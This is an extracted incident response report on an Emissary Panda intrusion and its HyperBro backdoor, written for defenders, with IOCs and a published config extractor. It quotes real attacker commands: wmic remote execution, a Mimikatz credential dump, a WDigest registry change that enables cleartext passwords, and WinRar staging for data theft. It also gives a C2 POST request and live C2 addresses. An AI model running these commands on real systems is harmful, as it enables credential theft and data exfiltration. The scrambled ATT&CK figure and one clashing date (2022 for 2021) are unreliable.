+the attack, which lasted from 08.03.2021 to 18.10.2021. During this time, only sparse activity from Emissary
+Panda was identified.
+The activity includes regular beaconing to C2 addresses. Furthermore, irregular lateral movement to new
+systems was identified. This was probably performed to strengthen their persistence and protect their
+access against system replacements. At least two new systems were compromised during Phase 2.
+Phase 3: Reaction and Last Data Exfiltration
+In the last phase of the attack, something tipped Emissary Panda of, and they started to change their
+behavior. Our best guess is that they noticed responsive actions in other attack campaigns using the same
+C2 infrastructure. Since the first activity in this phase was on 18.10.2021, and our IR Kick-off was in the
+following week, it is unlikely that we tipped them of at this point in the attack. The last phase of their attack
+lasted from 18.10.2021 to the forced end of the attack on 09.11.2021.
+The first reaction was the change of a DNS A record of one of their C2 domains to the IP address 127.0.0.1,
+which was done before the first response actions of this incident had been performed. Furthermore, they
+strengthened their foothold in the network by more lateral movement and compromising more critical
+systems, which is described in Section 6.9.
+Their last uprising was observed on 09.11.2022. First, they started with reconnaissance by pulling a task list
+of the File server from the compromised Intranet server (Section 6.8.2). Next, they prepared for data
+collection by creating 
+Rar.exe
+ (WinRar) remotely on the fileserver. It is unclear why Emissary Panda started
+testing user credentials after the creation of WinRar, since they were already using a working Domain
+Admin and the collection of data was running as well. Moreover, the operator of Emissary Panda mixed
+up the order of username and password, which explains why the credentials did not work. Due to the mixup, the operators probably thought that their stolen credentials have been revoked. Hence, in the following
+they tried to steal new credentials by executing Mimikatz and exporting the registry. This chaos in
+operations leads us to the conclusion that different phases of the attack are executed by teams with
+different capabilities. The initial compromise, privilege escalation, lateral movement and data exfiltration is
+probably performed by higher-skilled teams, while later phases of the attack such as maintaining
+persistence are executed by less skilled teams. The mix-up is described in more technical detail in
+Section 6.8.1.
+Meanwhile the IR team had detected the activity and taken first measures to stop the data exfiltration.
+While the Internet cut-off was being prepared, responders started to disrupt the attackers. In order to stop
+the collection process, WinRar processes were terminated remotely, and the tools used by the attackers
+were manipulated and therefore 
+disarmed
+. Of course, this was not a permanent solution, but it bought
+responders and the management more time to prepare the Internet cut-off. As soon as the attackers
+realized that the process was stopped and they couldn
+t launch it again, they moved to the next
+compromised system and started the collection process from there. Shortly after the last observed activity
+the attack was stopped by cutting off internet access. This was maintained for two weeks until all
+remediation measures were implemented.
+ HvS-Consulting AG 2022
+Page 13 of 38
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+6 Description of Observed TTPs
+The following figure maps the observed Techniques, Tactics, and Procedures (TTPs), observed during the
+Emissary Panda attack to the TTPs listed by MITRE ATT&CK 21:
+Resource
+Dev elopment
+T1587:
+Dev elop
+Capabilities
+T1587.001:
+Malware
+Initial
+Access
+T1190:
+Exploit
+Public-Facing
+Application
+Execution
+T1047: Windows
+Management
+Instrumentation
+T1078:
+Valid
+Accounts
+T1078.002:
+Domain
+Accounts
+T1078.003:
+Local
+Accounts
+Persistence
+Privilege
+Escalation
+T1543:
+T1543:
+Create or
+Create or
+Modif y Sy stem
+Modif y Sy stem
+Process
+Process
+T1543.003:
+T1543.003:
+Windows
+Windows
+Serv ice
+Serv ice
+T1574:
+Hijack
+Execution
+Flow
+T1574:
+Hijack
+Execution
+Flow
+Defense
+Evasion
+T1574:
+Hijack
+Execution
+Flow
+T1574.001:
+DLL Search
+Order
+Hijacking
+T1574.002:
+Side-Loading
+T1574.001:
+T1574.001:
+DLL Search
+DLL Search
+T1036:
+Order
+Order
+Masquerading
+Hijacking
+Hijacking
+T1574.002:
+T1574.002:
+Side-Loading
+Side-Loading
+T1078:
+Valid
+Accounts
+T1055:
+Process
+Injection
+Archiv e
+v ia
+Shares
+Utility
+T1057:
+Process
+Discovery
+T1119:
+Automated
+Collection
+T1082:
+System
+Information
+Discovery
+T1074:
+Data
+Staged
+T1071.001:
+Protocols
+Legitimate Name
+or Location
+Hollowing
+T1078:
+Valid
+Accounts
+T1055:
+Process
+Injection
+T1078.002:
+T1055.012:
+Domain
+Process
+Accounts
+T1560.001:
+Admin
+Match
+Process
+Local
+T1021.002:
+SMB/Windows
+T1071:
+Application
+Layer
+Protocol
+T1036.005:
+Accounts
+T1078.003:
+T1560:
+Archive
+Collected
+Data
+Command
+Control
+or Serv ice
+Domain
+Accounts
+T1069:
+Permission
+Groups
+Discovery
+T1021:
+Remote
+Services
+Collection
+Task
+T1112:
+Modify
+Registry
+Accounts
+T1087:
+Account
+Discovery
+Lateral
+Movement
+Masquerade
+T1055.012:
+Local
+T1003: OS
+Credential
+Dumping
+Discovery
+T1036.004:
+T1078.002:
+T1078.003:
+Credential
+Access
+Hollowing
+T1078:
+Valid
+Accounts
+T1078.002:
+Domain
+Accounts
+T1078.003:
+Local
+Accounts
+Figure 6: Observed TTPs for Emissary Panda mapped to MITRE ATT&CK
+The following subsections explain the observations for each technique and helps to understand the attack
+in detail.
+https://attack.mitre.org/
+ HvS-Consulting AG 2022
+Page 14 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Resource Development
+6.1.1
+Develop Capabilities: Malware (T1587.001)
+The attack heavily relied on the use of the HyperBro Remote Access Tool (RAT). According to our
+knowledge as well as several sources on the Internet 22 23, this malware is only used by Emissary Panda.
+Hence, HyperBro is most likely developed by the threat actor itself. The backdoor relies on DLL Search
+Order Hijacking and DLL Side-loading, as described in Section 6.4. Furthermore, commands sent by the
+attacker are executed in-memory and do not create secondary artifacts, which complicates the forensic
+analysis. A detailed analysis of the malware is performed in Section Malware Analysis of HyperBro.
+6.2 Initial Access
+6.2.1
+Exploit Public-Facing Application (T1190)
+The initial access to the victim
+s infrastructure was performed by exploiting the ProxyLogon vulnerability.
+The vulnerability became apparent to the public when Microsoft published a blog post on 02.03.2021
+stating that a new critical Exchange vulnerability was being actively exploited by attackers 24. The first
+communication of the victim
+s Exchange servers with the C2 IP addresses occurred on 04.03.2021.
+Furthermore, the Exchange servers were the first systems to communicate with the malicious IP addresses.
+Although, the initial system could not be forensically analyzed, the Firewall logs, the timing of Microsoft
+publication, and the first communication are sufficient to assume, that the initial access vector was in fact
+ProxyLogon. This leads to the conclusion that Emissary Panda used the exploitation of the public-facing
+Exchange server for their initial access.
+6.3 Execution
+6.3.1
+Windows Management Instrumentation (T1047)
+Emissary Panda was observed to utilize the Windows Management Instrumentation (WMI) to execute
+malware, scripts, commands, and collection tools.
+$ wmic /node:<HOSTNAME> process call create "cmd /c c:\perflogs\vfhost.exe"
+$ wmic /node:<IP> process call create "cmd /c c:\perflogs\vfhost.exe"
+$ wmic /node:<IP> process call create "cmd /c c:\temp\vfhost.exe"
+$ wmic /node:<IP> process call create "cmd /c d:\$recycle.bin\bin.bat"
+$ wmic /node:<IP> process call create " Rar.exe a d:\<PATH>\log "E:\<TARGET_DIR_1>\"
+"E:\<TARGET_DIR_2>\" "H:\<TARGET_DIR_3>\*.xls*" "E:\<TARGET_DIR_4>\" "H:\
+<TARGET_DIR_3>\*.csv" "E:\<TARGET_DIR_5>\" "E:\ <TARGET_DIR_6>\" d:\Users\Homes\<USER>\
+-r -y -hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M"
+https://attack.mitre.org/software/S0398/
+https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro
+https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
+ HvS-Consulting AG 2022
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+The first three lines show the remote execution of the HyperBro malware on different systems using
+different locations. In preparation to this remote execution, the corresponding malware files were dropped
+over an SMB connection authenticated by a legit domain admin. Following the placement of the malware,
+it is executed remotely with WMIC by referencing the remote system with its IP or hostname.
+The fourth command shows the same technique for a malicious Batch script.
+Last, the collection tool was executed remotely with the same technique. The specified partitions
+(D:\ and E:\) are located on the target system. Hence, the collection tool was also placed on the target
+system beforehand. A detailed description of the command can be found in Section 6.10.
+6.4 Persistence
+6.4.1
+Create or Modify System Process: Windows Service (T1543.003)
+The threat actor has utilized Windows Services to achieve persistence of their HyperBro backdoor. The
+Windows service has the following settings:
+Name
+= windefenders
+Display
+= Windows Defenders
+ImagePath = "C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe"
+Type
+= 0x0
+Start
+= Auto Start
+Group
+The path of the service points to the malware, which was dropped at this location beforehand.
+Furthermore, the service is set to Auto Start to ensure persistence. Prior to creating this service, the
+threat actor created a similar service with the name windefende-921919155 but deleted it within a few
+seconds. This behavior was observed multiple times with variations in numbers. Hence, the service names
+windefende-[0-9]{9} could also serve as IOCs.
+6.4.2
+Boot or Logon Autostart Execution: Registry Run Keys (T1547.001)
+Another observed way of persistence was the utilization of a Registry run key for the current user. The key
+being used for persistence had the following name:
+HKCU\Software\Microsoft\Windows\CurrentVersion\Run\windefenders
+This is a backup mechanism for the establishment of persistence, if the compromise account does not have
+enough privileges for the creation of a Windows Service
+6.4.3
+Valid Accounts: Domain Accounts (T1078.002) and Local Accounts (T1078.003)
+During the attack, valid accounts were used for Persistence, Lateral Movement, Defense Evasion, Execution
+as well as Collection. Hence, there is no optimal sub-section for the placement of this technique. The
+accounts included both local accounts, such as the built-in administrator, as well as domain accounts,
+which were mainly domain administrators.
+ HvS-Consulting AG 2022
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+6.5 Privilege Escalation
+Since the initial access with the exploitation of ProxyLogon (Section 6.2) provided the attacker already with
+system-level access to an Exchange server, and dumping of credentials (Section 6.7.1) provided a local
+administrator account and a domain admin account (Section 6.4.3), which could be used for lateral
+movement, there was no need for escalating privileges.
+6.6 Defense Evasion
+6.6.1
+Hijack Execution Flow: DLL Search Order Hijacking (T1574.001) and DLL Side-Loading (T1574.002)
+As described in multiple reports 25 26, Emissary Panda often drops a legit application, which then side-loads
+a malicious DLL. Since Windows first searches for the DLL in the same directory as the application is
+launched 27, the malicious DLL is loaded even if the original DLL exists on the target system. Hence, the DLL
+search order is hijacked by placing the files in the same directory. The following two files are placed in the
+same directory to perform DLL Search Order Hijacking (T1574.001) and DLL Side-Loading:
+msmpeng.exe
+Renamed, but legit application signed by CyberArk 28
+vftrace.dll
+Malicious DLL containing backdoor
+After placing the files in one directory, the msmpeng.exe is executed, which then loads the vftrace.dll.
+Hence, the malicious code of the DLL is running in the context of a legit application.
+6.6.2
+Modify Registry (T1112)
+The configuration of the malware is stored in the Windows Registry. Therefore, the Registry key
+HKLM\SOFTWARE\WOW6432Node\Microsoft\config_ is used. The following values are stored under
+this key:
+.msmpeng.exe.vftrace.dll
+thumb.dat1C:\Program Files (x86)\Common
+Files\windefenders\.<company_name>.0101.windefenders.windefenders.Windows
+Defenders.Windows Defenders
+Service..87.98.190.184
+..fonts.dataanalyticsclub.com
+87.98.190.184
+The configuration information includes, the filenames, the service name used for persistence, and C2 IPs
+as well as C2 domains.
+https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
+https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
+https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
+https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de
+tails
+ HvS-Consulting AG 2022
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Besides storing their C2 configuration in the registry, Emissary Panda modified an existing registry key. Due
+to modifying the following registry key, they activated the storage of clear text passwords after logon in
+WDigest:
+Reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\
+/v UseLogonCredential /t REG_DWORD /d 1
+This forces logon credentials to be stored in clear text, which can then be dumped by tools like Mimikatz,
+as described in Section 6.7.1.
+6.6.3
+Process Injection: Process Hollowing (1055.012)
+Since most of the manually executed commands, such as reconnaissance, were executed in the context of
+the legit process wermgr.exe, it is concluded that Emissary Panda performed process hollowing to avoid
+detection by security tools. This thesis is supported by the fact, that the executable related to the process
+ID is the legit wermgr.exe of Windows. Furthermore, the capability for process hollowing as well as the
+corresponding strings within the malware were identified during our malware analysis of HyperBro, which
+is described in Section 8.3.
+The following screenshot shows an excerpt of the EDR tool, which displays the reconnaissance activity in
+the context of wermgr.exe:
+Figure 7: Process Hollowing used to execute malicious commands in the context of legit wermgr.exe
+6.6.4
+Masquerading: Service (T1036.004), filename, and file location (T1036.005)
+On several occasions, Emissary Panda tried to evade defenses by using names, which are associated with
+security tools. This fact was also mentioned in previous reports 29. In the referenced reports, Emissary Panda
+used a legitimate Symantec executable. In the case of this attack, Emissary Panda used an executable,
+which is signed by CyberArk and named as the Microsoft Defender. Furthermore, the executable was
+placed in common paths for Microsoft Defender:
+C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe
+C:\Program Files (x86)\Common Files\windefenders\vftrace.dll
+D:\$recycle.bin\
+As already mentioned in Section 6.4.1, the service used for persistence was also named after the Microsoft
+Defender.
+Last, the recycle bin was utilized to store the output-archives of the collection tool, as described in
+Section 6.10.1.
+https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
+ HvS-Consulting AG 2022
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+6.7 Credential Access
+6.7.1
+OS Credential Dumping T1003
+In order to gain valid credentials of accounts, Emissary Panda used techniques for credential dumping.
+This also explains the extensive use of valid accounts, as described in Section 6.4.3. The following command
+was observed during the attack:
+$ msiexec.exe privilege::debug sekurlsa::logonPasswords
+The command line parameters equal the parameters of the credential dumping tool Mimikatz 30. Since the
+process is running in a valid msiexec process, the attacker performed credential dumping in combination
+with process hollowing, as described in Section 6.6.3.
+6.8 Discovery
+6.8.1
+Account Discovery (T1087.001) and Permission Groups Discovery T1069
+To gain more information about the Active Directory accounts and groups, Emissary Panda utilized the
+classic Windows net tool.
+$ net user <USER> /domain
+$ net1 user <ADMIN> /domain
+$ net group "domain admins" /domain
+$ net view \\<IP>
+$ net use \\<IP>\ipc$ <PASSWORD> **********
+Apparently, the operator of Emissary Panda mixed up the order of username and password in the net use
+command. Hence, the password could be seen in clear-text and the username was redacted by the EDR.
+6.8.2
+Process Discovery T1057
+Emissary Panda used the Tasklist utility to remotely gather information about running processes on
+systems. The following command shows a remote execution of Tasklist, which stores the outputs to a file
+located in the Recycle Bin:
+$ wmic /node:<IP> process call create "cmd /c tasklist >d:\$recycle.bin\task.dat"
+6.8.3
+System Information Discovery (T1082)
+As a preparation for the data collection, Emissary Panda checked the used disk space of their target
+directories. The following command shows how they gained the used disk space for a home directory of
+a User, located on the fileserver:
+$ diruse /m /* \\<IP>\d$\Users\Homes\<USER>
+The command outputs the used disk space in Megabyte.
+https://github.com/gentilkiwi/mimikatz
+ HvS-Consulting AG 2022
+Page 19 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+6.9 Lateral Movement
+6.9.1
+Remote Services: SMB Shares (T1021.002)
+The threat actor utilized SMB shares to drop malware on remote systems. Following, the execution of the
+malware was performed as described in Section 6.3.1. In order to access SMB shares on remote systems,
+Emissary Panda used valid accounts as described in Section 6.4.3.
+6.10 Collection
+6.10.1
+Archive via Utility (T1560.001) and Automated Collection (T1119)
+Based on the observed hashes and parameters, Emissary Panda was using Winrar to collect data in
+archives. The following commands show data collection performed on the fileserver:
+$ Rar.exe a d:\<PATH>\log "E:\<TARGET_DIR_1>\" "E:\<TARGET_DIR_2>\" "H:\
+<TARGET_DIR_3>\*.xls*" "E:\<TARGET_DIR_4>\" "H:\<TARGET_DIR_3>\*.csv" "E:\
+<TARGET_DIR_5>\" "E:\<TARGET_DIR_6>\" d:\Users\Homes\<USER>\ -r -y hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M
+$ Rar.exe a \\<IP_1>\d$\$recycle.bin\bin.rar "\\<IP_2>\E$\<TARGET_DIR_1>\"
+"\\<IP_2>\E$\<TARGET_DIR_2>\" "\\<IP_2>\h$\<TARGET_DIR_3>\*.xls*"
+"\\<IP_2>\E$\<TARGET_DIR_4>\" "\\<IP_2>\h$\<TARGET_DIR_3>\*.csv"
+"\\<IP_2>\E$\<TARGET_DIR_5>\" \\<IP_2>\d$\Users\Homes\<USER>\ -r -y -inul hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5767M
+The first command was launched remotely via WMIC on the fileserver. The collected files as well as the
+output archive is located on the fileserver. The second command writes its output not to the fileserver but
+to another compromised system in the recycle bin. Both commands use the same password to encrypt
+the archives (incl. file and directory names). Finally, both commands use different sizes for their partial
+archives, but the target directories are the same.
+6.10.2 Data Staged (T1074)
+As can be seen in the commands of the Section 6.10.1, the output of the collection is staged. This means
+that the first command creates partial archives of 5444 MB and the second command of 5767 MB. The
+partial archives are exfiltrated directly after creation and deleted afterwards.
+ HvS-Consulting AG 2022
+Page 20 of 38
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+6.11 Command and Control
+6.11.1
+Application Layer Protocol: Web Protocols T1071.001
+The C2 communication was performed over HTTPS, which could be observed in the firewall logs. Since
+the content was encrypted no statement regarding the content can be made. Nevertheless, the backdoor
+on all compromised systems was sending beacons to the C2 IP addresses in regular intervals.
+Via memory analysis of a compromised systems the following post request with User Agent could be
+extracted:
+POST /api/v2/ajax HTTP/1.1
+Connection: Keep-Alive
+User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like
+Gecko) Chrome/34.0.1847.116 Safari/537.36
+Content-Length: 87
+Host: 87.98.190.184
+The IP address 87.98.190.184 is one of the C2 IP addresses used by Emissary Panda.
+ HvS-Consulting AG 2022
+Page 21 of 38
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+7 OSINT analysis of C2 infrastructure
+Observed C2 communication as well as HyperBro artifacts were analyzed and researched for additional
+indicators and common attributes.
+In the analyzed samples, HyperBro uses a HTTPS protocol endpoint under the following path:
+/api/v2/ajax. This is a unique web application path, which is very well suited for detecting HyperBro
+traffic. No legitimate applications or web installations have been identified that access this endpoint.
+Furthermore, we noted that multiple Emissary Panda C2 addresses share the identical Jarm hash
+3fd3fd16d3fd3fd22c3fd3fd3fd3fdf20014c17cd0943e6d9e2fb9cd59862b as well as a specific
+*.cybo-cloud.com certificate:
+Subject
+Issuer
+Serial
+Validity
+Names
+SHA-256
+SHA-1
+CN=*.cybo-cloud.com
+C=US, O=DigiCert Inc, OU=www.digicert.com, CN=RapidSSL RSA CA 2018
+Decimal: 3163476740895991561136217391472201532
+Hex: 0x261437201eb9a171027589b0d724f3c
+2018-01-22 00:00:00 to 2021-04-21 12:00:00 (1185 days, 12:00:00)
+*.cybo-cloud.com
+cybo-cloud.com
+84e285d08381eb40ca1c218e51a3f9efe4d7ccd95c53e4a6bec9fa5e858a50d7
+44b9d089cf734d2478165a8539b23aed51887f7d
+210cbb1ed295fd13497a3e45a71a5240
+We were able to directly confirm seven C2 IP addresses with this specific Jarm hash and TLS certificate
+combination. Passive DNS data suggests that also the following IP addresses might be related to Emissary
+Panda as these share the Jarm hash and TLS certificate as well. However, at the time of writing, this
+suspicion was not confirmed.
+104.168.143.39
+104.168.211.246
+138.124.180.56
+152.228.248.233
+154.38.118.188
+194.156.98.129
+45.76.208.198
+45.77.32.139
+47.75.189.54
+8.210.39.213
+In addition, it was observed that Emissary Panda reacted to incident response activities via resolving their
+C2 domain dataanalyticsclub.com to the localhost IP address 127.0.0.1. Thereby, effectively hiding
+their C2 traffic. Hence, active HyperBro backdoors on webservers might be identified by reviewing the local
+access log for requests to the following path: /api/v2/ajax.
+ HvS-Consulting AG 2022
+Page 22 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+8 Malware Analysis of HyperBro
+As described in other public reports 31, HyperBro is a custom malware of Emissary Panda used as RAT. An
+analysis 32 of the HyperBro version used in this attack campaign was recently published by the German
+domestic intelligence services (Bundesamt f
+r Verfassungsschutz, BfV). In addition to this publication, we
+provide additional technical details about the inner workings and capabilities of the malware. Furthermore,
+we created and published a tool, which is able to extract the configuration from the malware. This enables
+analysts to quickly retrieve the IOCs from HyperBro samples. Finally, this chapter also summarizes the
+capabilities and available C2 commands of HyperBro.
+Overview
+The HyperBro malware consists of the following components:
+Component
+Description
+msmpeng.exe / vfhost.exe Legit application signed by CyberArk 33, used for DLL Side-Loading
+vftrace.dll (Stage 1)
+Malicious DLL containing Stage 1 / the first loader
+thumb.dat (Stage 2)
+The file is encrypted with a weak one-byte key. After decryption, it
+contains a loader for the PE Executable, which is also contained as
+compressed buffer within the thumb.dat
+PE Executable (Stage 3)
+Contains the actual HyperBro backdoor written in C++
+config.ini
+Created after the first execution and contains a randomly generated
+GUID
+To launch HyperBro, the legit CyberArk application msmpeng.exe / vfhost.exe is executed. Due to
+DLL Search Order Hijacking and DLL Side-Loading, as described in Section 6.6.1, this application loads the
+malicious vftrace.dll. We refer to vftrace.dll as Stage 1 of the malware. The malicious DLL then
+opens and reads thumb.dat, which we refer to as Stage 2. This file is encrypted with a weak one-byte
+key. It contains a loader and a compressed PE Executable. The loader decompresses the PE Executable
+within the thumb.dat and prepares it for execution. The decompressed PE Executable then contains the
+actual HyperBro backdoor, which we refer to as Stage 3. The exact process of decryption, decompression,
+and loading is explained in more detail in the following sections.
+The complete process is depicted in Figure 8.
+https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
+https://www.verfassungsschutz.de/SharedDocs/kurzmeldungen/DE/2022/2022-01-26-cyberbrief.html
+https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de
+tails
+ HvS-Consulting AG 2022
+Page 23 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+8.2 PE Loader
+As displayed in Figure 8, the first stage opens and decrypts the thumb.dat file. Figure 9 shows a
+screenshot of the decryption routine (first red box) and the launch of the decrypted PE Loader. The
+decryption routine simply adds the byte 0xfc to each byte of the thumb.dat file. This is a rather simple
+encryption with a one-byte key, which can easily be reproduced.
+Figure 8: Malware Flow
+The decrypted thumb.dat file contains the second stage, which is referenced to as the PE Loader, as well
+as a compressed PE file. The used compression method for Stage 3 is LZNT1 34.
+Since the vftrace.dll simply jumps to the beginning of the PE Loader, no functions are loaded or linked.
+Effectively, the program is started with no linked or imported functions. Hence, the PE Loader needs to
+initialize itself.
+https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6
+ HvS-Consulting AG 2022
+Page 24 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Figure 9: Decryption of thumb.dat and launch of PE Loader
+A rather special method was chosen for this initialization. The loader contains a set of pairs of library and
+function names (both hashed with a custom hash function). To resolve the function, the Thread Information
+Block (TIB) of the current process is loaded. Afterwards the Process Environment Block (PEB) is accessed,
+and the loaded modules are iterated to find the searched library. Following, the export table of the library
+is parsed to find the function.
+Figure 10: Structure with function pointers after resolving procedure via hashing
+ HvS-Consulting AG 2022
+Page 25 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+As stated before, the library and function names are stored in a hashed form. The utilized hash function
+was only seen in one other public report from Palo Altos
+ Unit 42 published in 2017. The result of the
+function resolution via the hashing algorithm is a structure containing several functions pointer, as can be
+seen in Figure 10.
+Figure 11: Parameters of decompress buffer functions of PE Loader
+Next, the loader invokes a function that is used for decompressing the PE file contained in the decrypted
+thumb.dat. The parameters of the function can be seen in Figure 11, while the function itself is display in
+Figure 12.
+Figure 12: Decompress buffer function of PE Loader
+After successful execution the decompress_buffer function, another function parses the decompressed
+buffer, which is the third stage (PE Executable), loads its sections into memory, sets up the correct
+permissions on its memory pages, and finally launches the third stage. An excerpt of the launch_payload
+function can be seen in Figure 13.
+ HvS-Consulting AG 2022
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+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Figure 13: Stage 3 launcher
+Since the PE loader has effectively no import table, but only a structure of function pointers, it is less likely
+to be detected by Antivirus products. The products often look for suspicious library functions, which are
+loaded by a program, for example WinHttp. The result of the PE loader is a loaded and launched third
+stage.
+ HvS-Consulting AG 2022
+Page 27 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+8.3 Capabilities
+The actual backdoor (Stage 3) shows sophisticated capabilities regarding remote access and command
+and control, as well as persistence and evasion.
+The following classes were found during the analysis, which provide a first indication of the functionality of
+the malware.
+TCaptureData
+TFileInfo
+TProcessInfo
+TCaptureMgr
+TFileMgr
+TprocessMgr
+TClipboardInfo
+TFileRename
+TRegeditKeyinfo
+TClipboardMgr
+TFileRetime
+TRegeditMgr
+Tcommdand
+TFileUpload
+TRegeditValueInfo
+TConfig
+TKeyboardMgr
+TServiceInfo
+TDirve (not a typo)
+TKeyboarrdInfo
+TServiceMgr
+TFileData
+TLogin
+TShellcodeData
+TFileDataReq
+TLoop
+TshellCodeMgr
+TFileDown
+TPacket
+TShellMgr
+TSock
+TTransConnect
+TUserMgr
+TTransData
+Furthermore, the malware has the capability to gain persistence in multiple ways on the target system.
+One way is the creation of a Windows Service, as described in Section 3.4.1. Another way is the creation of
+a Run Key within the Windows Registry, as described in Section 6.4.2.
+Stage 3 is a sophisticated backdoor with various capabilities. It is controlled from a C2 server, which
+provides commands to the backdoor by responding to HTTPS requests originating from the backdoor.
+The first byte of the HTTPS response contains a byte specifying the command for the backdoor. Based on
+the command the backdoor executes one of eight operations. The table in this subsection describes the
+operations of Stage 3.
+ HvS-Consulting AG 2022
+Page 28 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Command code
+Description
+No operation / Wait for commands
+0x10
+Initial Logon to C2 server. Register new backdoor at C2 server
+0x15
+Delete everything
+ Deletes the file: <path>\windefenders\config.ini
+ Deletes the file: <path>\windefenders\log.log
+ Deletes the file: <path>\windefenders\msmpeng.exe
+ Deletes the file: <path>\windefenders\vftrace.dll
+ Deletes the file: <path>\windefenders\thumb.dat
+ Deletes the directory: <path>\windefenders
+ Deletes the registry key: HKLM\SOFTWARE\Microsoft\config_
+Note that the paths/files depend on the current configuration of the malware
+Get information about the infected system:
+ Get logged on user and check privileges of the user
+ Send information to C2
+Perform Process Hollowing:
+ Restarts the backdoor in a hollowed process
+ The following legit target processes are utilized:
+ svchost.exe -k networkservice
+ svchost.exe -k localservice
+ Stop the current instance of the backdoor if hollowing was successful
+Opens a remote shell and executes received commands:
+ Sleep time of the while loop in the backdoor is decreased from 1000 ms to 100
+ms for more responsive behavior of the remote shell
+ Creates a new thread, which pulls commands from C2 server, which are then
+executed
+ The results are sent to the C2 server
+Update malware:
+ Drops a new executable under Temp:
+ %Temp%\<current clock tick>.exe
+ Launches the new executable
+ Exits the running process after launch was successful
+Updates the configuration of the backdoor:
+ Copies the new configuration from the received packet to the in-memory
+configuration of the backdoor (TConfig)
+ Connects to new C2 server
+ Closes old connection, after the new connection was established successfully
+ Subcommand 0x10
+ Updates additional configuration of the running malware
+ Subcommand 0x14
+ Update configuration regarding persistence
+ Update Registry keys
+ Update Windows Service
+ Update File paths
+0x17
+0x18
+0x1B
+0x1D
+0x1F
+ HvS-Consulting AG 2022
+Page 29 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+8.4 HyperBro Configuration Extractor
+In our online research about Emissary Panda and HyperBro, we found multiple descriptions of the malware
+but no tool, which is able to extract the malware configuration from the encrypted thumb.dat file. In
+order to develop such a tool, we reverse engineered the malware and re-implemented the decryption of
+thumb.dat, the decompression of Stage 3, and implemented a configuration parser for Stage 3. The tool
+can be found in our GitHub Repository: https://github.com/hvs-consulting/HyperBroExtractor
+The tool runs through the steps from the thumb.dat as input to the decompressed PE file (Stage 3), as
+displayed in Figure 8.
+$ python3 HyperBro_extract_config.py -i thumb.dat -k fc
+[*] The key is: 0xfc
+[*] Decryption successful
+[*] Decompression of PE successful
+[*] HyperBro extracted config:
+Legit launcher used for DLL-Side-Loading: msmpeng.exe
+Stage 1:
+vftrace.dll
+Stage 2:
+thumb.dat
+Stage 3:
+thumb.dat
+Malware Directory:
+windefenders
+Domain (changed at runtime):
+Default
+Windows Service used for persistence:
+Windows Defenders
+Command and Control IP address:
+104.168.236.46
+User Agent:
+Mozilla/5.0 (Windows NT 6.3; WOW64)
+AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
+HTTPS Request Information:
+POSThttps://%s:%d/api/v2/ajax
+Pipe name used for IPC:
+\\.\pipe\testpipe
+At first, the thumb.dat file needs to be decrypted. Therefore, we analyzed the decryption algorithm
+contained in Stage 1 and extracted the corresponding key. Since the key is only one byte long, and it is
+simply added to each byte of the thumb.dat, the encryption is not very strong. To increase the stability of
+our tool, a brute-force function for the one-byte key was implemented as well as a detection for a correct
+decryption. After the correct key is found, the thumb.dat is decrypted.
+Next, the beginning of the PE file is identified in the decrypted thumb.dat. The file consists of the PE Loader
+(Stage 2), and a compressed PE file (Stage 3). As stage 3 is compressed with LZNT1, a LZNT1 compressed
+PE header is used as a signature to identify the start of Stage 3. Next, the compressed PE file can be
+decompressed, which results in the actual HyperBro backdoor.
+Last, the configuration of Stage 3 is parsed by the tool, i.e., it extracts multiple hard-coded parameters, like
+the IP of the initial C2 server, the user agent utilized in HTTP requests, etc. An example of the output can
+be seen above
+In this case, the key is specified as a command-line parameter. The resulting IoCs as well as their utilization
